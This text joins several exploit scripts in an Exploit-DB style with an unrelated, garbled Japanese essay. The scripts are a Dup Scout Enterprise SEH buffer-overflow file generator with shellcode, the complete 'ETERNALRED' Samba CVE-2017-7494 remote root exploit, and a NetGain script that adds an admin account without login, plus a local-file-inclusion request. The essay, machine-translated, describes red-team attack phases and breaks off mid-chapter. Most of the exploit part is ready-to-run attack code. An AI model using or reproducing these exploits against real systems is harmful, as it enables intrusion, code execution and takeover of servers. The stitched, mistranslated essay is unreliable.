                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: Dup Scout Enterprise v9.7.18 Import Local Buffer Overflow Vuln.(SEH)
# Date: 2017.05.24
# Exploit Author: Greg Priest
# Version: Dup Scout Enterprise v9.7.18
# Tested on: Windows7 x64 HUN/ENG Professional
'''


import os
import struct

overflow = "A" * 1536
jmp_esp = "\x94\x21\x1C\x65"
#651F20E5 
#651F214E
#652041ED
nop = "\x90" * 16
esp = "\x8D\x44\x24\x4A"
jmp = "\xFF\xE0"
nop2 = "\x90" * 70
nSEH = "\x90\x90\xEB\x05"
SEH = "\x80\x5F\x1C\x90"
#"\x80\x5F\x1C\x65"
#6508F78D
#650E129F
#651C5F80
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

crash = overflow+jmp_esp+nop+esp+jmp+nop2+nSEH+SEH+"\x90" * 10+shellcode

evil = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + crash + '\n</classify>'
exploit = open('Ev1l.xml', 'w')
exploit.write(evil)
exploit.close()

print "Ev1l.xml raedy!"
            
#!/usr/bin/env python
# Title : ETERNALRED 
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494


import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *


class SharedDevice2(SharedDevice):
    def __init__(self, type, name, comments, path, password):
        super().__init__(type, name, comments)
        self.path = path
        self.password = password

class SMBConnectionEx(SMBConnection):
    def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
        super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)


    def hook_listShares(self):
        self._listShares = self.listSharesEx

    def hook_retrieveFile(self):
        self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix

    # This is maily the original listShares but request a higher level of info
    def listSharesEx(self, callback, errback, timeout = 30):
        if not self.has_authenticated:
            raise NotReadyError('SMB connection not authenticated')

        expiry_time = time.time() + timeout
        path = 'IPC$'
        messages_history = [ ]

        def connectSrvSvc(tid):
            m = SMB2Message(SMB2CreateRequest('srvsvc',
                                              file_attributes = 0,
                                              access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
                                              share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                                              oplock = SMB2_OPLOCK_LEVEL_NONE,
                                              impersonation = SEC_IMPERSONATE,
                                              create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
                                              create_disp = FILE_OPEN))

            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
            messages_history.append(m)

        def connectSrvSvcCB(create_message, **kwargs):
            messages_history.append(create_message)
            if create_message.status == 0:
                call_id = self._getNextRPCCallID()
                # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
                # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
                data_bytes = \
                    binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
                    struct.pack('<I', call_id) + \
                    binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
                m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
                m.tid = create_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
                messages_history.append(m)
            else:
                errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))

        def rpcBindCB(trans_message, **kwargs):
            messages_history.append(trans_message)
            if trans_message.status == 0:
                m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
                m.tid = trans_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
                messages_history.append(m)
            else:
                closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')

        def rpcReadCB(read_message, **kwargs):
            messages_history.append(read_message)
            if read_message.status == 0:
                call_id = self._getNextRPCCallID()

                padding = b''
                remote_name = '\\\\' + self.remote_name
                server_len = len(remote_name) + 1
                server_bytes_len = server_len * 2
                if server_len % 2 != 0:
                    padding = b'\0\0'
                    server_bytes_len += 2

                # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
                # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
                data_bytes = \
                    binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
                    struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
                    binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
                    struct.pack('<III', server_len, 0, server_len) + \
                    (remote_name + '\0').encode('UTF-16LE') + padding + \
                    binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
                m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
                m.tid = read_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
                messages_history.append(m)
            else:
                closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')

        def listShareResultsCB(result_message, **kwargs):
            messages_history.append(result_message)
            if result_message.status == 0:
                # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
                data_bytes = result_message.payload.out_data

                if data_bytes[3] & 0x02 == 0:
                    sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
                else:
                    decodeResults(result_message.tid, kwargs['fid'], data_bytes)
            elif result_message.status == 0x0103:   # STATUS_PENDING
                self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
            else:
                closeFid(result_message.tid, kwargs['fid'])
                errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

        def decodeResults(tid, fid, data_bytes):
            shares_count = struct.unpack('<I', data_bytes[36:40])[0]
            results = [ ]     # A list of SharedDevice2 instances
            offset = 36 + 52  # You need to study the byte stream to understand the meaning of these constants
            for i in range(0, shares_count):
                results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
                offset += 12

            for i in range(0, shares_count):
                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)

                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)

                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)

                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)


            closeFid(tid, fid)
            callback(results)

        def sendReadRequest(tid, fid, data_bytes):
            read_count = min(4280, self.max_read_size)
            m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
                                                           fid = fid, data_bytes = data_bytes)

        def readCB(read_message, **kwargs):
            messages_history.append(read_message)
            if read_message.status == 0:
                data_len = read_message.payload.data_length
                data_bytes = read_message.payload.data

                if data_bytes[3] & 0x02 == 0:
                    sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
                else:
                    decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
            else:
                closeFid(read_message.tid, kwargs['fid'])
                errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

        def closeFid(tid, fid, results = None, error = None):
            m = SMB2Message(SMB2CloseRequest(fid))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
            messages_history.append(m)

        def closeCB(close_message, **kwargs):
            if kwargs['results'] is not None:
                callback(kwargs['results'])
            elif kwargs['error'] is not None:
                errback(OperationFailure(kwargs['error'], messages_history))

        if path not in self.connected_trees:
            def connectCB(connect_message, **kwargs):
                messages_history.append(connect_message)
                if connect_message.status == 0:
                    self.connected_trees[path] = connect_message.tid
                    connectSrvSvc(connect_message.tid)
                else:
                    errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))

            m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
            messages_history.append(m)
        else:
            connectSrvSvc(self.connected_trees[path])


    # Don't convert to Window style path
    def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
        if not self.has_authenticated:
            raise NotReadyError('SMB connection not authenticated')

        messages_history = [ ]


        def sendOpen(tid):
            m = SMBMessage(ComOpenAndxRequest(filename = path,
                                              access_mode = 0x0040,  # Sharing mode: Deny nothing to others
                                              open_mode = 0x0001,    # Failed if file does not exist
                                              search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
                                              timeout = timeout * 1000))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
            messages_history.append(m)

        def openCB(open_message, **kwargs):
            messages_history.append(open_message)
            if not open_message.status.hasError:
                if max_length == 0:
                    closeFid(open_message.tid, open_message.payload.fid)
                    callback(( file_obj, open_message.payload.file_attributes, 0 ))
                else:
                    sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
            else:
                errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))

        def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
            read_count = self.max_raw_size - 2
            m = SMBMessage(ComReadAndxRequest(fid = fid,
                                              offset = offset,
                                              max_return_bytes_count = read_count,
                                              min_return_bytes_count = min(0xFFFF, read_count)))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
                                                           read_len = read_len, remaining_len = remaining_len)

        def readCB(read_message, **kwargs):
            # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
            if not read_message.status.hasError:
                read_len = kwargs['read_len']
                remaining_len = kwargs['remaining_len']
                data_len = read_message.payload.data_length
                if max_length > 0:
                    if data_len > remaining_len:
                        file_obj.write(read_message.payload.data[:remaining_len])
                        read_len += remaining_len
                        remaining_len = 0
                    else:
                        file_obj.write(read_message.payload.data)
                        remaining_len -= data_len
                        read_len += data_len
                else:
                    file_obj.write(read_message.payload.data)
                    read_len += data_len

                if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
                    closeFid(read_message.tid, kwargs['fid'])
                    callback(( file_obj, kwargs['file_attributes'], read_len ))  # Note that this is a tuple of 3-elements
                else:
                    sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
            else:
                messages_history.append(read_message)
                closeFid(read_message.tid, kwargs['fid'])
                errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))

        def closeFid(tid, fid):
            m = SMBMessage(ComCloseRequest(fid))
            m.tid = tid
            self._sendSMBMessage(m)
            messages_history.append(m)

        if service_name not in self.connected_trees:
            def connectCB(connect_message, **kwargs):
                messages_history.append(connect_message)
                if not connect_message.status.hasError:
                    self.connected_trees[service_name] = connect_message.tid
                    sendOpen(connect_message.tid)
                else:
                    errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))

            m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
            messages_history.append(m)
        else:
            sendOpen(self.connected_trees[service_name])

def get_connection(user, password, server, port, force_smb1=False):
    if force_smb1:
        smb_structs.SUPPORT_SMB2 = False

    conn = SMBConnectionEx(user, password, "", "server")
    assert conn.connect(server, port)
    return conn

def get_share_info(conn):
    conn.hook_listShares()
    return conn.listShares()

def find_writeable_share(conn, shares):
    print("[+] Searching for writable share")
    filename = "red"
    test_file = tempfile.TemporaryFile()
    for share in shares:
        try:
            # If it's not writeable this will throw
            conn.storeFile(share.name, filename, test_file)
            conn.deleteFiles(share.name, filename)
            print("[+] Found writeable share: " + share.name)
            return share
        except:
            pass

    return None

def write_payload(conn, share, payload, payload_name):
    with open(payload, "rb") as fin:
        conn.storeFile(share.name, payload_name, fin)

    return True

def convert_share_path(share):
    path = share.path[2:]
    path = path.replace("\\", "/")
    return path

def load_payload(user, password, server, port, fullpath):
    conn = get_connection(user, password, server, port, force_smb1 = True)
    conn.hook_retrieveFile()

    print("[+] Attempting to load payload")
    temp_file = tempfile.TemporaryFile()

    try:
        conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
    except:
        pass

    return

def drop_payload(user, password, server, port, payload):
    payload_name = "charizard"

    conn = get_connection(user, password, server, port)
    shares = get_share_info(conn)
    share = find_writeable_share(conn, shares)

    if share is None:
        print("[!] No writeable shares on " + server + " for user: " + user)
        sys.exit(-1)

    if not write_payload(conn, share, payload, payload_name):
        print("[!] Failed to write payload: " + str(payload) + " to server")
        sys.exit(-1)

    conn.close()

    fullpath = convert_share_path(share)
    return os.path.join(fullpath, payload_name)


def main():
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
    description= """Eternal Red Samba Exploit -- CVE-2017-7494
        Causes vulnerable Samba server to load a shared library in root context
        Credentials are not required if the server has a guest account
        For remote exploit you must have write permissions to at least one share
        Eternal Red will scan the Samba server for shares it can write to
        It will also determine the fullpath of the remote share

        For local exploit provide the full path to your shared library to load

        Your shared library should look something like this

        extern bool change_to_root_user(void);
        int samba_init_module(void)
        {
            change_to_root_user();
            /* Do what thou wilt */
        }
    """)
    parser.add_argument("payload", help="path to shared library to load", type=str)
    parser.add_argument("server", help="Server to target", type=str)
    parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
    parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
    parser.add_argument("--password", help="Password for user default is empty", type=str)
    parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
    args = parser.parse_args()

    if not os.path.isfile(args.payload):
        print("[!] Unable to open: " + args.payload)
        sys.exit(-1)

    port = 445
    user = "nobody"
    password = ""
    fullpath = ""

    if args.port:
        port = args.port
    if args.username:
        user = args.username
    if args.password:
        password = args.password

    if args.local:
        fullpath = args.payload
    else:
        fullpath = drop_payload(user, password, args.server, port, args.payload)

    load_payload(user, password, args.server, port, fullpath)

if __name__ == "__main__":
    main()
            
'''
# Exploit Title: Add User Account with Admin Privilege without Login & Local File Inclusion
# Date: 2017-05-21
# Exploit Author: f3ci
# Vendor Homepage: http://www.netgain-systems.com
# Software Link: http://www.netgain-systems.com/free-edition-download/
# Version: <= v7.2.647 build 941
# Tested on: Windows 7

Add User Account with Admin Privilege without Login
----------------------------------------------
We can create user and give admin privilege to user which we have made
without login.
Because this app does not check the session on this request


Local File Inclusion
----------------------------------------------
Normal Request:

POST /u/jsp/log/download_do.jsp HTTP/1.1
Host: 192.168.0.21:8081
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.21:8081/u/index.jsp
Cookie: JSESSIONID=8A172EB8DDBD08D1E6D25A1CE8CC74AC
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

filename=iossd.log

We can download another file with change value on filename parameter and
also we can send this request without login.

Example:

POST /u/jsp/log/download_do.jsp HTTP/1.1
Host: 192.168.0.21:8081
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.21:8081/u/index.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

filename=../../tomcat/conf/tomcat-users.xml
'''
#!/usr/local/bin/python
# Exploit Title: Add User Account with Admin Privilege without Login
# Date: 2017-05-21
# Exploit Author: f3ci
# Vendor Homepage: http://www.netgain-systems.com
# Software Link: http://www.netgain-systems.com/free-edition-download/
# Version: <= v7.2.647 build 941
# Tested on: Windows 7

import requests
import sys

try:
 def create():
	ip = str(sys.argv[1])
	port = str(sys.argv[2])
	user = str(sys.argv[3])
	passwd = str(sys.argv[4])

	print "\033[1;32m[+]\033[1;m Try to Create user"
	url="http://"+ip+":"+port+"/u/jsp/security/user_save_do.jsp"
	data= {
    	'new': "true", 
    	'id': "", 
    	'name': user, 
    	'dname': "foobar", 
    	'password': passwd, 
    	'password2': passwd, 
    	'description': "", 
    	'emails': "foo@bar.com", 
    	'mobileNumber': "000000", 
    	'loginAttempts': "5",
    	}
	response = requests.post(url, data=data)
	status = response.status_code
	if status == 200:
		print "\033[1;32m[+]\033[1;m Success!!"
		role()
	else:
		print "\033[91m[-]\033[91;m Create User Failed"


 def role():
	ip = str(sys.argv[1])
        port = str(sys.argv[2])
	user = str(sys.argv[3])
        passwd = str(sys.argv[4])

	print "\033[1;32m[+]\033[1;m Get admin role"
	url="http://"+ip+":"+port+"/u/jsp/security/role_save_do.jsp"
	data= {
    	'name': "admin", 
    	'description': "Administrator", 
    	'users': [user,"admin"],
    	}
	response = requests.post(url, data=data)
	status = response.status_code
	if status == 200:
		print "\033[1;32m[+]\033[1;m Success!!"
		print "\033[1;32m[+]\033[1;m Login with user:" +user+ " password:" + passwd
	else:
		print "\033[91m[-]\033[91;m Get admin role Failed"

 create();

except:
	print "\033[91m[!]\033[91;m Usage: %s <IP> <port> <username> <password>" % str(sys.argv[0])
	print "\033[91m[!]\033[91;m Ex: %s 127.0.0.1 8081 foobar passw0rd" % str(sys.argv[0])
            

第1章ブルーチームとは何ですか

ブルーチームは一般に、ネットワークの実際の攻撃と防衛演習で攻撃者を指します。

ブルーチームは通常、ターゲットユニットの実践者とターゲットシステムが同時に位置するネットワーク内のソフトウェアおよびハードウェアデバイスをターゲットにするために、マルチアングル、オールラウンド、対立的なハイブリッドシミュレーション攻撃方法を使用します。技術的な手段を通じて、システムパワープロモーション、ビジネス管理、データ収集などの浸透目標を達成し、システム、テクノロジー、人員、管理、インフラストラクチャのネットワークセキュリティリスクまたは弱いリンクを発見できます。

ブルーチームの担当者は、一般的な意味でコンピューターハッカーではありません。ハッカーはしばしばシステムを突破して利益を得ることを目指しているからです。ブルーチームは、システム内の弱いリンクを発見し、システムセキュリティを改善することを目指しています。さらに、普通のハッカーの場合、特定の攻撃方法が効果的に目標を達成できることがわかっている限り、通常、他の攻撃方法と方法を試す必要はありません。しかし、ブルーチームの目標は、システム内のすべてのセキュリティ問題を可能な限り見つけることです。そのため、攻撃を完了するために既知の「すべての」方法を使い果たすことがよくあります。言い換えれば、ブルーチームの職員が必要とするのは、1つまたは2つの素晴らしいハッキングテクニックだけでなく、包括的な攻撃的および防御能力です。

ブルーチームの仕事は、業界の有名な浸透テストとも異なります。通常、浸透テストは、標準化された技術プロセスに従ってターゲットシステムのセキュリティテストです。ブルーチームの攻撃は一般に攻撃範囲と攻撃期間を制限し、特定の攻撃方法に制限はありません。浸透テストプロセスでは、一般に脆弱性の存在を検証するだけで、ブルーチーム攻撃には実際のシステム許可またはシステムデータが必要です。さらに、浸透テストでは一般に、ソーシャルワーカーの使用が禁止されていることが必要です(攻撃は誘導、欺ceなどによって完了します)。

:は通常、実際の戦闘攻撃および防御演習中にブルーチームの攻撃方法を厳密に制限しないが、すべての技術の使用と目標の達成も関連する国の法律と規制を厳密に順守しなければならないという別のポイントを説明する必要があります。

エクササイズの実践では、ブルーチームには通常、戦闘チームとして3人、チームリーダーとして1人がいます。チームリーダーは通常、ブルーチームで最も強力な包括的な能力を持つ人物であり、強力な組織的認識、適応性、豊かな実践的な経験を必要とします。 2人のチームメンバーは、ボーダーブレークスルー、水平ムーブメント(1つの制御されたデバイスを使用して他の隣接するデバイスを攻撃する)、インテリジェンスコレクション、または武器開発など、1つまたは複数の側面の専門知識を持つ独自の強みを持つ必要があることがよくあります。

ブルーチームの作業の能力要件は、多くの場合、包括的かつ包括的です。 Blueチームのメンバーは、さまざまなハッキングツールと分析ツールを使用するのに熟練しているだけでなく、ターゲットシステムとそのセキュリティ構成に精通し、特別な問題に対処するための特定のコード開発機能を持っている必要があります。

第2章ブルーチームの進化の傾向

「悪魔は、道路よりも片足高く、道路よりも片足高くなっています」!防御能力を向上させながら、攻撃能力は時代にも対応しています。現在、ブルーチームの仕事は非常に体系的で、専門的で、楽器になり、主に次のように収益化されています。

1)体系的

脆弱性の準備、ツールの準備、インテリジェンスコレクション、イントラネットの浸透など、誰もが明確な分業と組織化されたチーム戦闘能力を持っています。一連のタスクを行った人はほとんどいません。

2)専門化

ブルーチームのスタッフは、さまざまな組織のフルタイムの実践的なエクササイズチームからのものであり、労働と責任の明確な分裂、共同協力の専門的倫理、および職業訓練が日常生活で行われています。

3)ツール

ツールベースのプログラムは改善され続けています。一般的に使用される浸透ツールの使用に加えて、オープンソースコードに基づくカスタマイズされたツールの数が増加し、自動攻撃が大規模に適用されています。

実際の戦闘方法から判断すると、現在の青いチームは、ソーシャルエンジニアリング、強い対立、ラウンドアバウト攻撃の特徴も提示します。

1)ソーシャルエンジニアリング

「人々」の弱点を使用してソーシャルエンジニアリング攻撃を実行することは、黒人産業のギャングや高度な脅威組織にとって一般的な方法であり、現在では実際の戦闘攻撃的および防御的な演習に広く紹介されています。

釣りや水たまりなどの従来のソーシャルワーカーの攻撃方法に加えて、今日のブルーチームは、ビジネス情報をより効率的に取得するために、オンラインカスタマーサービスやプライベートメッセージの友人などのさまざまなインタラクティブなプラットフォームを通じてソーシャルワーカーの攻撃を行うことがよくあります。ソーシャルワーカーの方法のばらつきは、しばしば防衛を防御することができなくなります。

2)強い対立

0Dayの脆弱性、ndayの脆弱性、および殺害のないテクノロジーを使用して、防衛党との高強度の技術的対立に従事することも、ブルーチームが過去1〜2年で実際の戦闘攻撃および防御演習で示した明らかな特徴です。特に、ブルーチームメンバーのほとんどはセキュリティ機関から来て、専門的に訓練されているため、セキュリティソフトウェアの保護メカニズムとセキュリティシステムの運用原則を民間のハッカーよりもよく理解しており、使用する対立技術はしばしばよりターゲットにされています。

3)丸め攻撃

緊密な保護と効果的な監視を備えたターゲットシステムの場合、正面攻撃を機能させるのが難しいことがよくあります。これにより、ブルーチームは「カーブセイブザカントリー」攻撃方法を採用して最前線を延長するように強制されます。ターゲットシステムの同性ユニットと下位ユニットから開始し、サプライチェーンとビジネスパートナーから開始し、比較的弱い保護を備えた関連機関のブレークスルーポイントを見つけ、ラウンドアバウト攻撃を通じてターゲットシステムを突破します。

第3章:ブルーチームの4つの軸——攻撃の4つの段階

ブルーチームの攻撃は、野生で忘れられない財産ではなく、科学的で合理的な戦闘プロセスでした。一般的に言えば、ブルーチームの作業は、ステーション前の準備、インテリジェンスコレクション、拠点の確立、水平運動の4つの段階に分けることができます。また、これらの4つのステージをブルーチームの作業の「4つの軸」と呼びます。

1。フェーズ1:収集の準備

実際の攻撃的で防御的なエクササイズが始まる前に、ブルーチームの職員は主に次の側面から準備します。

1)脆弱性マイニング

脆弱性は常に最初の攻撃力でした。早期の脆弱性マイニングは、ブレークスルーを開くために非常に重要です。実際の戦闘では、脆弱性のマイニング作業は一般に、インターネット境界アプリケーション、ネットワーク機器、オフィスアプリケーション、運用およびメンテナンスシステム、モバイルオフィス、集中管理と管理に焦点を当てています。さらに、脆弱性を見つけるだけでは十分ではなく、優れた脆弱性の搾取方法も非常に重要です。非輸送環境における脆弱性の安定した詳細な搾取を達成するために、これは脆弱性探査機にとって大きな課題です。

2)ツールリザーブ

ツールの目的は、作業効率を向上させることです。優れたツールは、多くの場合、半分の労力で結果の2倍を達成できます。実際の戦闘では、ブルーチームは通常、情報収集、フィッシング、リモートコントロール、ウェブシェル管理、トンネル、スキャナー、脆弱性の利用など、さまざまなツールを準備する必要があります。

3)戦術と戦略

チームの戦闘は協力に関するものであるため、攻撃チームメンバーの労働役割の分割は特に重要です。小さな戦いは個人に依存しますが、大きな戦いはメカニズム、プロセス、チームワークに依存する必要があります。優れた戦術と戦略は、主要な戦いに不可欠です。

4)競争を練習する

毎日のタスクでは、ブルーチームのターゲットトレーニングを実施するために、いくつかの代表的なタスクを選択する必要があります。さまざまな安全競争に参加することは、ブルーチームメンバーの技術的能力を改善するのに非常に役立ちます。

第二に、第2フェーズ:インテリジェンスコレクション

ブルーチームの専門家がターゲットタスクを受け取ると、浸透テストのようなデータを収集した後、さまざまな一般的な脆弱性を直接試みることはありませんが、最初にインテリジェンス偵察と情報収集を行います。収集されたコンテンツには、ターゲットシステムの組織構造、ITアセット、機密情報の漏れ、サプライヤー情報、その他の側面が含まれます。

組織構造には、単位および部門部門、人事情報、作業機能、下位ユニットなどが含まれます。資産には、ドメイン名、IPアドレス、Cセグメント、オープンポート、オペレーションサービス、Webミドルウェア、Webアプリケーション、モバイルアプリケーション、ネットワークアーキテクチャなどが含まれます。機密情報の漏れには、コード漏れ、ドキュメント情報の漏れ、電子メール情報の漏れ、歴史的脆弱性漏れ情報などが含まれます。サプライヤー情報には、関連する契約、システム、ソフトウェア、ハードウェア、コード、サービス、人員、その他の関連情報が含まれます。

関連する人事情報とターゲットエンタープライズの組織構造を習得することにより、harpoon攻撃を実装するために重要な数字をすばやく見つけたり、イントラネットの水平および垂直貫通パスを決定したりできます。また、資産情報を収集することにより、脆弱性の発見と利用に関するデータサポートを提供できます。企業とサプライヤーの協力の関連情報を習得すると、ターゲットを絞ったサプライチェーン攻撃に資料を提供できます。ソーシャルワーカーをフィッシュするか、脆弱性攻撃を直接活用するか、サプライチェーンから開始するかは、一般に、セキュリティ保護の弱いリンクがどこにあるか、ブルーチームが攻撃パスを選択する方法に依存します。

第三に、第3段階:ベースの確立

弱いリンクを見つけた後、ブルーチームの専門家は、外部ネットワークシステムの制御権限を取得するために抜け穴またはソーシャルワーカーを使用しようとします。このプロセスでは、Blueチームの専門家は、WAF、IPS、Antivirusソフトウェアなどの保護具またはソフトウェアをバイパスし、最小トラフィックと最小アクションを使用して脆弱性の搾取を実現しようとします。

